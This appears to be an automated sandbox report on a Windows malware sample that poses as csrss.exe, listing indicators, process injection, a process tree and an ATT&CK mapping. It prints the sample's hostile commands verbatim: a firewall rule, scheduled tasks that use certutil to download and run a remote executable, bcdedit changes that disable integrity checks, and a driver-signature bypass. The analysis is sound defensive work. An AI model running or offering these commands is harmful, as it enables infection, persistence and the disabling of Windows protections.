76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1620	app.exe
1948	app.exe
980	csrss.exe
980	csrss.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1620	app.exe
Token: SeImpersonatePrivilege	1620	app.exe
Token: SeSystemEnvironmentPrivilege	980	csrss.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 1948 wrote to memory of 1472	1948	app.exe	31
PID 1948 wrote to memory of 1472	1948	app.exe	31
PID 1948 wrote to memory of 1472	1948	app.exe	31
PID 1948 wrote to memory of 1472	1948	app.exe	31
PID 1472 wrote to memory of 1996	1472	cmd.exe	33
PID 1472 wrote to memory of 1996	1472	cmd.exe	33
PID 1472 wrote to memory of 1996	1472	cmd.exe	33
PID 1948 wrote to memory of 980	1948	app.exe	34
PID 1948 wrote to memory of 980	1948	app.exe	34
PID 1948 wrote to memory of 980	1948	app.exe	34
PID 1948 wrote to memory of 980	1948	app.exe	34
PID 1396 wrote to memory of 2024	1396	patch.exe	43
PID 1396 wrote to memory of 2024	1396	patch.exe	43
PID 1396 wrote to memory of 2024	1396	patch.exe	43
PID 1396 wrote to memory of 2044	1396	patch.exe	45
PID 1396 wrote to memory of 2044	1396	patch.exe	45
PID 1396 wrote to memory of 2044	1396	patch.exe	45
PID 1396 wrote to memory of 1852	1396	patch.exe	47
PID 1396 wrote to memory of 1852	1396	patch.exe	47
PID 1396 wrote to memory of 1852	1396	patch.exe	47
PID 1396 wrote to memory of 1364	1396	patch.exe	49
PID 1396 wrote to memory of 1364	1396	patch.exe	49
PID 1396 wrote to memory of 1364	1396	patch.exe	49
PID 1396 wrote to memory of 1080	1396	patch.exe	51
PID 1396 wrote to memory of 1080	1396	patch.exe	51
PID 1396 wrote to memory of 1080	1396	patch.exe	51
PID 1396 wrote to memory of 1400	1396	patch.exe	53
PID 1396 wrote to memory of 1400	1396	patch.exe	53
PID 1396 wrote to memory of 1400	1396	patch.exe	53
PID 1396 wrote to memory of 1232	1396	patch.exe	55
PID 1396 wrote to memory of 1232	1396	patch.exe	55
PID 1396 wrote to memory of 1232	1396	patch.exe	55
PID 1396 wrote to memory of 1536	1396	patch.exe	57
PID 1396 wrote to memory of 1536	1396	patch.exe	57
PID 1396 wrote to memory of 1536	1396	patch.exe	57
PID 1396 wrote to memory of 984	1396	patch.exe	59
PID 1396 wrote to memory of 984	1396	patch.exe	59
PID 1396 wrote to memory of 984	1396	patch.exe	59
PID 1396 wrote to memory of 1220	1396	patch.exe	61
PID 1396 wrote to memory of 1220	1396	patch.exe	61
PID 1396 wrote to memory of 1220	1396	patch.exe	61
PID 1396 wrote to memory of 1756	1396	patch.exe	63
PID 1396 wrote to memory of 1756	1396	patch.exe	63
PID 1396 wrote to memory of 1756	1396	patch.exe	63
PID 1396 wrote to memory of 2040	1396	patch.exe	65
PID 1396 wrote to memory of 2040	1396	patch.exe	65
PID 1396 wrote to memory of 2040	1396	patch.exe	65
PID 1396 wrote to memory of 396	1396	patch.exe	67
PID 1396 wrote to memory of 396	1396	patch.exe	67
PID 1396 wrote to memory of 396	1396	patch.exe	67
PID 980 wrote to memory of 1104	980	csrss.exe	69
PID 980 wrote to memory of 1104	980	csrss.exe	69
PID 980 wrote to memory of 1104	980	csrss.exe	69
PID 980 wrote to memory of 1104	980	csrss.exe	69
PID 980 wrote to memory of 1268	980	csrss.exe	71
PID 980 wrote to memory of 1268	980	csrss.exe	71
PID 980 wrote to memory of 1268	980	csrss.exe	71
PID 980 wrote to memory of 1268	980	csrss.exe	71

C:\Users\Admin\AppData\Local\Temp\app.exe
"C:\Users\Admin\AppData\Local\Temp\app.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1620
- C:\Users\Admin\AppData\Local\Temp\app.exe
  "C:\Users\Admin\AppData\Local\Temp\app.exe"
  2⤵
  - Loads dropped DLL
  - Windows security modification
  - Adds Run key to start application
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1948
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1472
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies data under HKEY_USERS
      PID:1996
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe ""
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Modifies data under HKEY_USERS
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:980
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:768
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
      4⤵
      Creates scheduled task(s)
      PID:1416
  - - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Modifies system certificate store
      Suspicious use of WriteProcessMemory
      PID:1396
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2024
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2044
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1852
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1364
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1080
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1400
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1232
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1536
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:984
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1220
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1756
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -timeout 0
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2040
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:396
  - - C:\Windows\system32\bcdedit.exe
      C:\Windows\Sysnative\bcdedit.exe /v
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1104
  - - C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
      4⤵
      Executes dropped EXE
      PID:1268

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Impair Defenses

T1562

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/980-19-0x0000000002950000-0x0000000002961000-memory.dmp

Filesize
68KB

Download
memory/980-18-0x00000000025A0000-0x0000000002949000-memory.dmp

Filesize
3.7MB

Download
memory/1396-35-0x0000000002B50000-0x0000000002B51000-memory.dmp

Filesize
4KB

Download
memory/1512-33-0x000007FEF8510000-0x000007FEF878A000-memory.dmp

Filesize
2.5MB

Download
memory/1620-1-0x0000000002770000-0x0000000002781000-memory.dmp

Filesize
68KB

Download
memory/1620-0-0x00000000023C0000-0x0000000002769000-memory.dmp

Filesize
3.7MB

Download
memory/1620-2-0x0000000000400000-0x0000000000B16000-memory.dmp

Filesize
7.1MB

Download
memory/1948-5-0x0000000000400000-0x0000000000B16000-memory.dmp

Filesize
7.1MB

Download
memory/1948-3-0x0000000002380000-0x0000000002729000-memory.dmp

Filesize
3.7MB

Download
memory/1948-4-0x0000000002730000-0x0000000002741000-memory.dmp

Filesize
68KB

Download